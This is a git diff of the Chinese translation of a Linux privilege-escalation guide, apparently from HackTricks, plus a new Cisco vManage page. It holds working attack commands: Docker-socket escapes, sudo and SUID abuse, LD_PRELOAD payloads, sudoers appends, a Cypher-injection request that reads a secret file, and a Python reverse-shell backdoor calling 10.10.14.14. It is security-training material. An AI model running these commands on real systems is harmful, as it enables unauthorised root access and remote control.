服务单元名称。此设置仅允许用于 Accept=no 的套接字。默认为与套接字同名的服务(后缀被替换)。在大多数情况下,不需要使用此选项。 ### 可写的 .socket 文件 @@ -481,7 +481,7 @@ socket-command-injection.md ### HTTP 套接字 -请注意,可能有一些 **正在监听 HTTP** 请求的 **套接字**(_我不是在谈论 .socket 文件,而是作为 unix 套接字的文件_)。您可以通过以下方式检查: +请注意,可能有一些 **套接字正在监听 HTTP** 请求(_我不是在谈论 .socket 文件,而是作为 unix 套接字的文件_)。您可以通过以下方式检查: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` @@ -489,7 +489,7 @@ curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ### 可写的 Docker 套接字 -Docker 套接字,通常位于 `/var/run/docker.sock`,是一个关键文件,应该被保护。默认情况下,它对 `root` 用户和 `docker` 组的成员是可写的。拥有对这个套接字的写访问权限可能导致特权提升。以下是如何做到这一点的详细说明,以及在 Docker CLI 不可用时的替代方法。 +Docker 套接字,通常位于 `/var/run/docker.sock`,是一个关键文件,应该被保护。默认情况下,它对 `root` 用户和 `docker` 组的成员是可写的。拥有对这个套接字的写访问权限可能导致特权提升。以下是如何做到这一点的分解,以及在 Docker CLI 不可用时的替代方法。 #### **使用 Docker CLI 进行特权提升** @@ -498,7 +498,7 @@ Docker 套接字,通常位于 `/var/run/docker.sock`,是一个关键文件 docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -这些命令允许您以根级别访问主机的文件系统运行容器。 +这些命令允许您以根级访问权限运行一个容器,访问主机的文件系统。 #### **直接使用 Docker API** @@ -510,7 +510,7 @@ docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nse curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **创建容器:** 发送请求以创建一个挂载主机系统根目录的容器。 +2. **创建一个容器:** 发送请求以创建一个挂载主机系统根目录的容器。 ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create @@ -522,7 +522,7 @@ curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.so curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **附加到容器:** 使用 `socat` 建立与容器的连接,从而在其中执行命令。 +3. **附加到容器:** 使用 `socat` 建立与容器的连接,启用在其中执行命令。 ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -532,13 +532,13 @@ Connection: Upgrade Upgrade: tcp ``` -在设置好 `socat` 连接后,您可以直接在容器中以根级别访问主机的文件系统执行命令。 +在设置好 `socat` 连接后,您可以直接在容器中执行命令,拥有对主机文件系统的根级访问权限。 ### 其他 -请注意,如果您对 docker 套接字具有写权限,因为您在 **`docker` 组内**,您有 [**更多的权限提升方式**](interesting-groups-linux-pe/#docker-group)。如果 [**docker API 在某个端口上监听**,您也可以有能力进行破坏](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。 +请注意,如果您对 Docker 套接字具有写权限,因为您是 **`docker` 组的成员**,您有 [**更多的权限提升方式**](interesting-groups-linux-pe/#docker-group)。如果 [**docker API 在某个端口上监听**,您也可以有能力进行破坏](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。 -查看 **更多从 docker 中突破或滥用它以提升权限的方法** 在: +查看 **更多从 Docker 中突破或滥用它以提升权限的方法** 在: {{#ref}} docker-security/ @@ -564,11 +564,11 @@ runc-privilege-escalation.md D-Bus 是一个复杂的 **进程间通信 (IPC) 系统**,使应用程序能够高效地交互和共享数据。它是为现代 Linux 系统设计的,提供了一个强大的框架,用于不同形式的应用程序通信。 -该系统灵活多变,支持基本的 IPC,增强了进程之间的数据交换,类似于 **增强的 UNIX 域套接字**。此外,它有助于广播事件或信号,促进系统组件之间的无缝集成。例如,来自蓝牙守护进程的关于来电的信号可以促使音乐播放器静音,从而增强用户体验。此外,D-Bus 支持远程对象系统,简化了应用程序之间的服务请求和方法调用,简化了传统上复杂的过程。 +该系统灵活多变,支持基本的 IPC,增强了进程之间的数据交换,类似于 **增强的 UNIX 域套接字**。此外,它有助于广播事件或信号,促进系统组件之间的无缝集成。例如,来自蓝牙守护进程的关于来电的信号可以促使音乐播放器静音,从而提升用户体验。此外,D-Bus 支持远程对象系统,简化了应用程序之间的服务请求和方法调用,简化了传统上复杂的过程。 D-Bus 基于 **允许/拒绝模型**,根据匹配的策略规则的累积效果管理消息权限(方法调用、信号发射等)。这些策略指定与总线的交互,可能通过利用这些权限来允许权限提升。 -在 `/etc/dbus-1/system.d/wpa_supplicant.conf` 中提供了这样一个策略的示例,详细说明了根用户拥有、发送和接收来自 `fi.w1.wpa_supplicant1` 的消息的权限。 +在 `/etc/dbus-1/system.d/wpa_supplicant.conf` 中提供了一个此类策略的示例,详细说明了根用户拥有、发送和接收来自 `fi.w1.wpa_supplicant1` 的消息的权限。 没有指定用户或组的策略适用于所有情况,而“默认”上下文策略适用于所有未被其他特定策略覆盖的情况。 ```xml @@ -629,7 +629,7 @@ timeout 1 tcpdump ### 通用枚举 -检查 **你是谁**,你拥有的 **权限**,系统中有哪些 **用户**,哪些可以 **登录**,哪些具有 **root 权限:** +检查 **who** 你是,拥有的 **privileges**,系统中有哪些 **users**,哪些可以 **login**,哪些具有 **root privileges**: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -683,27 +683,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### 已知密码 -如果你**知道环境中的任何密码**,请**尝试以每个用户的身份登录**,使用该密码。 +如果你**知道环境中的任何密码**,请尝试使用该密码**登录每个用户**。 ### Su Brute 如果你不介意制造很多噪音,并且计算机上存在`su`和`timeout`二进制文件,你可以尝试使用[su-bruteforce](https://github.com/carlospolop/su-bruteforce)进行暴力破解用户。\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)使用`-a`参数也会尝试暴力破解用户。 +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) 使用`-a`参数也会尝试暴力破解用户。 ## 可写的 PATH 滥用 ### $PATH -如果你发现可以**在$PATH的某个文件夹内写入**,你可能能够通过**在可写文件夹内创建一个后门**,其名称为将由其他用户(理想情况下是root)执行的某个命令,并且该命令**不是从位于你的可写文件夹之前的文件夹加载**的,从而提升权限。 +如果你发现可以**在 $PATH 的某个文件夹内写入**,你可能能够通过**在可写文件夹内创建一个后门**,其名称为将由其他用户(理想情况下是 root)执行的某个命令,并且该命令**不是从位于你可写文件夹之前的文件夹加载的**,来提升权限。 ### SUDO 和 SUID -你可能被允许使用sudo执行某些命令,或者它们可能具有suid位。使用以下命令检查: +你可能被允许使用 sudo 执行某些命令,或者它们可能具有 suid 位。使用以下命令检查: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -一些 **意外的命令允许您读取和/或写入文件,甚至执行命令。** 例如: +一些**意外的命令允许您读取和/或写入文件,甚至执行命令。** 例如: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -732,7 +732,7 @@ $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -这个例子,**基于 HTB 机器 Admirer**,**易受** **PYTHONPATH 劫持** 的影响,在以 root 身份执行脚本时加载任意 python 库: +这个例子,**基于 HTB 机器 Admirer**,**易受** **PYTHONPATH 劫持** 的影响,可以在以 root 身份执行脚本时加载任意的 python 库: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` @@ -755,28 +755,28 @@ sudo less /var/log/something /etc/shadow #Red 2 files ``` **对策**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### 没有命令路径的 Sudo 命令/SUID 二进制文件 +### Sudo命令/SUID二进制文件没有命令路径 -如果 **sudo 权限** 被授予单个命令 **而没有指定路径**: _hacker10 ALL= (root) less_ 你可以通过更改 PATH 变量来利用它 +如果**sudo权限**被授予单个命令**而不指定路径**: _hacker10 ALL= (root) less_,你可以通过更改PATH变量来利用它。 ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -这种技术也可以在**suid**二进制文件**执行另一个命令而不指定路径时使用(始终检查**_**strings**_ **内容的奇怪SUID二进制文件)**。 +这种技术也可以在**suid**二进制文件**执行另一个命令而不指定路径时使用(始终检查**_**strings**_**工具查看奇怪的SUID二进制文件的内容)**。 [Payload examples to execute.](payloads-to-execute.md) ### 带命令路径的SUID二进制文件 -如果**suid**二进制文件**执行另一个命令并指定路径**,那么你可以尝试**导出一个函数**,其名称与suid文件调用的命令相同。 +如果**suid**二进制文件**执行另一个命令并指定路径**,那么你可以尝试**导出一个名为该suid文件调用的命令的函数**。 例如,如果一个suid二进制文件调用_**/usr/sbin/service apache2 start**_,你需要尝试创建该函数并导出它: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -然后,当你调用suid二进制文件时,将执行此函数 +然后,当你调用suid二进制文件时,这个函数将被执行 ### LD_PRELOAD & **LD_LIBRARY_PATH** @@ -784,8 +784,8 @@ export -f /usr/sbin/service 然而,为了维护系统安全并防止此功能被利用,特别是在**suid/sgid**可执行文件中,系统强制执行某些条件: -- 对于真实用户ID(_ruid_)与有效用户ID(_euid_)不匹配的可执行文件,加载器会忽略**LD_PRELOAD**。 -- 对于具有suid/sgid的可执行文件,仅在标准路径中且也具有suid/sgid的库会被预加载。 +- 加载器忽略**LD_PRELOAD**对于真实用户ID(_ruid_)与有效用户ID(_euid_)不匹配的可执行文件。 +- 对于具有suid/sgid的可执行文件,仅预加载在标准路径中且也具有suid/sgid的库。 如果你有能力使用`sudo`执行命令,并且`sudo -l`的输出包含语句**env_keep+=LD_PRELOAD**,则可能发生权限提升。此配置允许**LD_PRELOAD**环境变量持续存在并被识别,即使在使用`sudo`运行命令时,这可能导致以提升的权限执行任意代码。 ``` @@ -842,7 +842,7 @@ strace 2>&1 | grep -i -E "open|access|no such file" ``` 例如,遇到类似 _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (没有这样的文件或目录)"_ 的错误提示,暗示了潜在的利用可能性。 -为了利用这一点,可以创建一个 C 文件,例如 _"/path/to/.config/libcalc.c"_,其中包含以下代码: +为了利用这一点,可以创建一个 C 文件,比如 _"/path/to/.config/libcalc.c"_,其中包含以下代码: ```c #include #include @@ -894,7 +894,7 @@ system("/bin/bash -p"); [**GTFOBins**](https://gtfobins.github.io) 是一个经过策划的 Unix 二进制文件列表,攻击者可以利用这些文件绕过本地安全限制。[**GTFOArgs**](https://gtfoargs.github.io/) 是相同的,但适用于您只能在命令中 **注入参数** 的情况。 -该项目收集了可以被滥用以突破受限 shell、提升或维持提升权限、传输文件、生成绑定和反向 shell,以及促进其他后期利用任务的 Unix 二进制文件的合法功能。 +该项目收集了可以被滥用以突破受限 shell、提升或维持特权、传输文件、生成绑定和反向 shell,以及促进其他后期利用任务的 Unix 二进制文件的合法功能。 > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -911,18 +911,18 @@ system("/bin/bash -p"); ### 重用 Sudo 令牌 -在您拥有 **sudo 访问权限** 但没有密码的情况下,您可以通过 **等待 sudo 命令执行然后劫持会话令牌** 来提升权限。 +在您拥有 **sudo 访问权限** 但没有密码的情况下,您可以通过 **等待 sudo 命令执行然后劫持会话令牌** 来提升特权。 -提升权限的要求: +提升特权的要求: -- 您已经作为用户 "_sampleuser_" 拥有一个 shell +- 您已经以用户 "_sampleuser_" 拥有一个 shell - "_sampleuser_" 在 **过去 15 分钟内** **使用过 `sudo`** 执行了某些操作(默认情况下,这是允许我们在不输入任何密码的情况下使用 `sudo` 的 sudo 令牌的持续时间) - `cat /proc/sys/kernel/yama/ptrace_scope` 为 0 - `gdb` 可访问(您可以上传它) -(您可以通过 `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` 临时启用 `ptrace_scope`,或通过永久修改 `/etc/sysctl.d/10-ptrace.conf` 并设置 `kernel.yama.ptrace_scope = 0`) +(您可以通过 `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` 临时启用 `ptrace_scope`,或通过永久修改 `/etc/sysctl.d/10-ptrace.conf` 并设置 `kernel.yama.ptrace_scope = 0` 来实现) -如果满足所有这些要求,**您可以使用以下方法提升权限:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +如果满足所有这些要求,**您可以使用以下方法提升特权:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) - **第一个利用** (`exploit.sh`) 将在 _/tmp_ 中创建二进制文件 `activate_sudo_token`。您可以使用它来 **在您的会话中激活 sudo 令牌**(您不会自动获得 root shell,请执行 `sudo su`): ```bash @@ -935,15 +935,15 @@ sudo su bash exploit_v2.sh /tmp/sh -p ``` -- 第**三个漏洞** (`exploit_v3.sh`) 将**创建一个 sudoers 文件**,使**sudo 令牌永久有效并允许所有用户使用 sudo** +- 第**三个漏洞**(`exploit_v3.sh`)将**创建一个sudoers文件**,使**sudo令牌永久有效并允许所有用户使用sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -如果您在该文件夹或文件夹内创建的任何文件中具有**写权限**,则可以使用二进制文件[**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)来**为用户和PID创建sudo令牌**。\ -例如,如果您可以覆盖文件 _/var/run/sudo/ts/sampleuser_,并且您以该用户的身份拥有PID 1234的shell,则可以**获得sudo权限**而无需知道密码,方法是: +如果您在文件夹中或文件夹内任何创建的文件上具有**写权限**,您可以使用二进制文件[**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)来**为用户和PID创建sudo令牌**。\ +例如,如果您可以覆盖文件 _/var/run/sudo/ts/sampleuser_ 并且您以PID 1234的该用户身份拥有一个shell,您可以**获得sudo权限**而无需知道密码,方法是: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` @@ -955,7 +955,7 @@ sudo su ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -如果你会写,你就可以滥用这个权限。 +如果你会写,你就可以滥用这个权限 ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README @@ -1053,12 +1053,12 @@ linux-capabilities.md ## 目录权限 -在一个目录中,**“执行”**位意味着受影响的用户可以“**cd**”进入该文件夹。\ -**“读取”**位意味着用户可以 **列出** **文件**,而 **“写入”**位意味着用户可以 **删除** 和 **创建** 新的 **文件**。 +在一个目录中,**“执行”** 位意味着受影响的用户可以 "**cd**" 进入该文件夹。\ +**“读取”** 位意味着用户可以 **列出** **文件**,而 **“写入”** 位意味着用户可以 **删除** 和 **创建** 新的 **文件**。 ## ACLs -访问控制列表 (ACLs) 代表了可支配权限的第二层,能够 **覆盖传统的 ugo/rwx 权限**。这些权限通过允许或拒绝特定用户(非所有者或不属于该组的用户)访问文件或目录,从而增强了对访问的控制。这种 **粒度确保了更精确的访问管理**。更多细节可以在 [**这里**](https://linuxconfig.org/how-to-manage-acls-on-linux) 找到。 +访问控制列表 (ACLs) 代表了可任意权限的第二层,能够 **覆盖传统的 ugo/rwx 权限**。这些权限通过允许或拒绝特定用户(非所有者或不属于该组的用户)访问文件或目录,从而增强了对访问的控制。这种 **粒度确保了更精确的访问管理**。更多细节可以在 [**这里**](https://linuxconfig.org/how-to-manage-acls-on-linux) 找到。 **给予** 用户 "kali" 对一个文件的读取和写入权限: ```bash @@ -1074,7 +1074,7 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ## 打开 shell 会话 在 **旧版本** 中,您可能会 **劫持** 其他用户 (**root**) 的一些 **shell** 会话。\ -在 **最新版本** 中,您将只能 **连接** 到 **您自己的用户** 的屏幕会话。然而,您可能会在会话中找到 **有趣的信息**。 +在 **最新版本** 中,您将只能 **连接** 到 **您自己用户** 的屏幕会话。然而,您可能会在会话中找到 **有趣的信息**。 ### 屏幕会话劫持 @@ -1117,9 +1117,9 @@ tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ## SSH -### Debian OpenSSL 可预测 PRNG - CVE-2008-0166 +### Debian OpenSSL 可预测的 PRNG - CVE-2008-0166 -在 2006 年 9 月到 2008 年 5 月 13 日之间生成的所有 Debian 基于系统(Ubuntu、Kubuntu 等)上的 SSL 和 SSH 密钥可能受到此漏洞的影响。\ +在 2006 年 9 月到 2008 年 5 月 13 日之间,在基于 Debian 的系统(如 Ubuntu、Kubuntu 等)上生成的所有 SSL 和 SSH 密钥可能受到此漏洞的影响。\ 此漏洞是在这些操作系统中创建新 ssh 密钥时造成的,因为 **仅有 32,768 种变体是可能的**。这意味着所有可能性都可以计算,并且 **拥有 ssh 公钥后,您可以搜索相应的私钥**。您可以在此处找到计算的可能性:[https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH 有趣的配置值 @@ -1147,19 +1147,19 @@ AuthorizedKeysFile .ssh/authorized_keys access ### ForwardAgent/AllowAgentForwarding -SSH代理转发允许您**使用本地SSH密钥而不是将密钥**(没有密码短语!)放在服务器上。因此,您将能够**通过ssh跳转到一个主机**,然后从那里**跳转到另一个**主机**,使用**位于您**初始主机**中的**密钥**。 +SSH代理转发允许您**使用本地SSH密钥而不是将密钥**(没有密码短语!)放在服务器上。因此,您将能够**通过ssh跳转**到一个主机,然后从那里**跳转到另一个**主机**使用**位于您**初始主机**中的**密钥**。 您需要在`$HOME/.ssh.config`中设置此选项,如下所示: ``` Host example.com ForwardAgent yes ``` -注意,如果 `Host` 是 `*`,每次用户跳转到不同的机器时,该主机将能够访问密钥(这是一项安全问题)。 +注意,如果 `Host` 是 `*`,每次用户跳转到不同的机器时,该主机将能够访问密钥(这是一种安全问题)。 文件 `/etc/ssh_config` 可以 **覆盖** 这些 **选项** 并允许或拒绝此配置。\ -文件 `/etc/sshd_config` 可以通过关键字 `AllowAgentForwarding` **允许** 或 **拒绝** ssh-agent 转发(默认是允许)。 +文件 `/etc/sshd_config` 可以使用关键字 `AllowAgentForwarding` **允许** 或 **拒绝** ssh-agent 转发(默认是允许)。 -如果你发现在某个环境中配置了 Forward Agent,请阅读以下页面,因为 **你可能能够利用它来提升权限**: +如果您发现转发代理在某个环境中被配置,请阅读以下页面,因为 **您可能能够利用它来提升权限**: {{#ref}} ssh-forward-agent-exploitation.md @@ -1169,7 +1169,7 @@ ssh-forward-agent-exploitation.md ### 配置文件 -文件 `/etc/profile` 和 `/etc/profile.d/` 下的文件是 **在用户运行新 shell 时执行的脚本**。因此,如果你可以 **写入或修改其中任何一个,你可以提升权限**。 +文件 `/etc/profile` 和 `/etc/profile.d/` 下的文件是 **在用户运行新 shell 时执行的脚本**。因此,如果您可以 **写入或修改其中任何一个,您可以提升权限**。 ```bash ls -l /etc/profile /etc/profile.d/ ``` @@ -1269,7 +1269,7 @@ find / -type f -iname ".*" -ls 2>/dev/null for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done ``` -### **网页文件** +### **网络文件** ```bash ls -alhR /var/www/ 2>/dev/null ls -alhR /srv/www/htdocs/ 2>/dev/null @@ -1282,13 +1282,13 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ``` ### 已知包含密码的文件 -阅读[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)的代码,它搜索**可能包含密码的多个文件**。\ +阅读[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)的代码,它会搜索**可能包含密码的多个文件**。\ **另一个有趣的工具**是:[**LaZagne**](https://github.com/AlessandroZ/LaZagne),这是一个开源应用程序,用于检索存储在本地计算机上的大量密码,适用于Windows、Linux和Mac。 ### 日志 如果您可以读取日志,您可能会在其中找到**有趣/机密的信息**。日志越奇怪,它就越有趣(可能)。\ -此外,一些“**错误**”配置(后门?)的**审计日志**可能允许您在审计日志中**记录密码**,正如在这篇文章中所解释的:[https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/)。 +此外,一些“**错误**”配置的(后门?)**审计日志**可能允许您在审计日志中**记录密码**,正如在这篇文章中所解释的:[https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/)。 ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null @@ -1308,27 +1308,27 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` ### 通用凭据搜索/正则表达式 -您还应该检查包含“**password**”一词的文件,无论是在**名称**中还是在**内容**中,并检查日志中的IP和电子邮件,或哈希正则表达式。\ +您还应该检查包含“**password**”的文件,无论是在**名称**中还是在**内容**中,并检查日志中的IP和电子邮件,或哈希正则表达式。\ 我不会在这里列出如何做到这一切,但如果您感兴趣,可以查看[**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh)执行的最后检查。 ## 可写文件 ### Python库劫持 -如果您知道**从哪里**将要执行python脚本,并且您**可以在**该文件夹中写入或**修改python库**,您可以修改OS库并进行后门(如果您可以写入python脚本将要执行的位置,请复制并粘贴os.py库)。 +如果您知道**从哪里**将执行python脚本,并且您**可以在**该文件夹中写入或**修改python库**,您可以修改OS库并进行后门(如果您可以写入python脚本将要执行的位置,请复制并粘贴os.py库)。 -要**为库添加后门**,只需在os.py库的末尾添加以下行(更改IP和端口): +要**对库进行后门**,只需在os.py库的末尾添加以下行(更改IP和端口): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` ### Logrotate 利用 -`logrotate` 中的一个漏洞允许对日志文件或其父目录具有 **写权限** 的用户潜在地获得提升的权限。这是因为 `logrotate` 通常以 **root** 身份运行,可以被操控以执行任意文件,特别是在像 _**/etc/bash_completion.d/**_ 这样的目录中。重要的是要检查 _/var/log_ 中的权限,也要检查应用日志轮换的任何目录。 +`logrotate` 中的一个漏洞允许对日志文件或其父目录具有 **写权限** 的用户潜在地获得提升的权限。这是因为 `logrotate` 通常以 **root** 身份运行,可以被操控以执行任意文件,特别是在像 _**/etc/bash_completion.d/**_ 这样的目录中。重要的是要检查 _/var/log_ 中的权限,也要检查应用日志轮换的任何目录中的权限。 > [!NOTE] > 此漏洞影响 `logrotate` 版本 `3.18.0` 及更早版本 -有关该漏洞的更多详细信息,请访问此页面:[https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition)。 +有关该漏洞的更详细信息可以在此页面找到:[https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition)。 您可以使用 [**logrotten**](https://github.com/whotwagner/logrotten) 利用此漏洞。 @@ -1340,9 +1340,9 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s 如果出于某种原因,用户能够 **写入** 一个 `ifcf-` 脚本到 _/etc/sysconfig/network-scripts_ **或** 可以 **调整** 一个现有的脚本,那么您的 **系统就被攻陷了**。 -网络脚本,例如 _ifcg-eth0_ 用于网络连接。它们看起来与 .INI 文件完全相同。然而,它们在 Linux 中由网络管理器(dispatcher.d)\~sourced\~。 +网络脚本,例如 _ifcg-eth0_ 用于网络连接。它们看起来与 .INI 文件完全相同。然而,它们在 Linux 中由网络管理器(dispatcher.d)进行 \~sourced\~。 -在我的案例中,这些网络脚本中的 `NAME=` 属性处理不当。如果您在名称中有 **空格**,系统会尝试执行空格后的部分。这意味着 **第一个空格后的所有内容都以 root 身份执行**。 +在我的案例中,这些网络脚本中的 `NAME=` 属性处理不当。如果名称中有 **空格**,系统会尝试执行空格后的部分。这意味着 **第一个空格后的所有内容都以 root 身份执行**。 例如: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1356,7 +1356,7 @@ DEVICE=eth0 另一方面,`/etc/init` 与 **Upstart** 相关,这是由 Ubuntu 引入的较新的 **服务管理**,使用配置文件进行服务管理任务。尽管已经过渡到 Upstart,但由于 Upstart 中的兼容性层,SysVinit 脚本仍与 Upstart 配置一起使用。 -**systemd** 作为现代初始化和服务管理器出现,提供了高级功能,如按需守护进程启动、自动挂载管理和系统状态快照。它将文件组织到 `/usr/lib/systemd/` 以供分发包使用,并将 `/etc/systemd/system/` 用于管理员修改,从而简化了系统管理过程。 +**systemd** 作为现代初始化和服务管理器出现,提供了高级功能,如按需守护进程启动、自动挂载管理和系统状态快照。它将文件组织到 `/usr/lib/systemd/` 用于分发包和 `/etc/systemd/system/` 用于管理员修改,从而简化系统管理过程。 ## 其他技巧 @@ -1402,7 +1402,7 @@ cisco-vmanage.md **EvilAbigail (物理访问):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ **更多脚本的汇编**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## 参考文献 +## 参考 - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)\\ - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)\\ diff --git a/src/linux-hardening/privilege-escalation/cisco-vmanage.md b/src/linux-hardening/privilege-escalation/cisco-vmanage.md index d140dcd5a..92719ee2c 100644 --- a/src/linux-hardening/privilege-escalation/cisco-vmanage.md +++ b/src/linux-hardening/privilege-escalation/cisco-vmanage.md @@ -4,18 +4,15 @@ ## Path 1 -(Example from [https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html](https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html)) - -After digging a little through some [documentation](http://66.218.245.39/doc/html/rn03re18.html) related to `confd` and the different binaries (accessible with an account on the Cisco website), we found that to authenticate the IPC socket, it uses a secret located in `/etc/confd/confd_ipc_secret`: +(来自 [https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html](https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html)) +在浏览了一些与 `confd` 及其不同二进制文件相关的 [文档](http://66.218.245.39/doc/html/rn03re18.html) 后(可以通过 Cisco 网站上的账户访问),我们发现要验证 IPC 套接字,它使用位于 `/etc/confd/confd_ipc_secret` 的一个秘密: ``` vmanage:~$ ls -al /etc/confd/confd_ipc_secret -rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret ``` - -Remember our Neo4j instance? It is running under the `vmanage` user's privileges, thus allowing us to retrieve the file using the previous vulnerability: - +记得我们的 Neo4j 实例吗?它在 `vmanage` 用户的权限下运行,因此允许我们利用之前的漏洞检索文件: ``` GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1 @@ -27,9 +24,7 @@ Host: vmanage-XXXXXX.viptela.net "data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]} ``` - -The `confd_cli` program does not support command line arguments but calls `/usr/bin/confd_cli_user` with arguments. So, we could directly call `/usr/bin/confd_cli_user` with our own set of arguments. However it's not readable with our current privileges, so we have to retrieve it from the rootfs and copy it using scp, read the help, and use it to get the shell: - +`confd_cli` 程序不支持命令行参数,但会调用 `/usr/bin/confd_cli_user` 并传递参数。因此,我们可以直接使用我们自己的参数调用 `/usr/bin/confd_cli_user`。但是以我们当前的权限无法读取它,因此我们必须从 rootfs 中检索它并使用 scp 复制,阅读帮助,并使用它获取 shell: ``` vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret @@ -47,15 +42,13 @@ vManage:~# id uid=0(root) gid=0(root) groups=0(root) ``` - ## Path 2 (Example from [https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77](https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77)) -The blog¹ by the synacktiv team described an elegant way to get a root shell, but the caveat is it requires getting a copy of the `/usr/bin/confd_cli_user` which is only readable by root. I found another way to escalate to root without such hassle. - -When I disassembled `/usr/bin/confd_cli` binary, I observed the following: +synacktiv团队的博客¹描述了一种优雅的方法来获取root shell,但缺点是需要获取`/usr/bin/confd_cli_user`的副本,该副本仅对root可读。我找到了一种无需如此麻烦即可提升到root的方法。 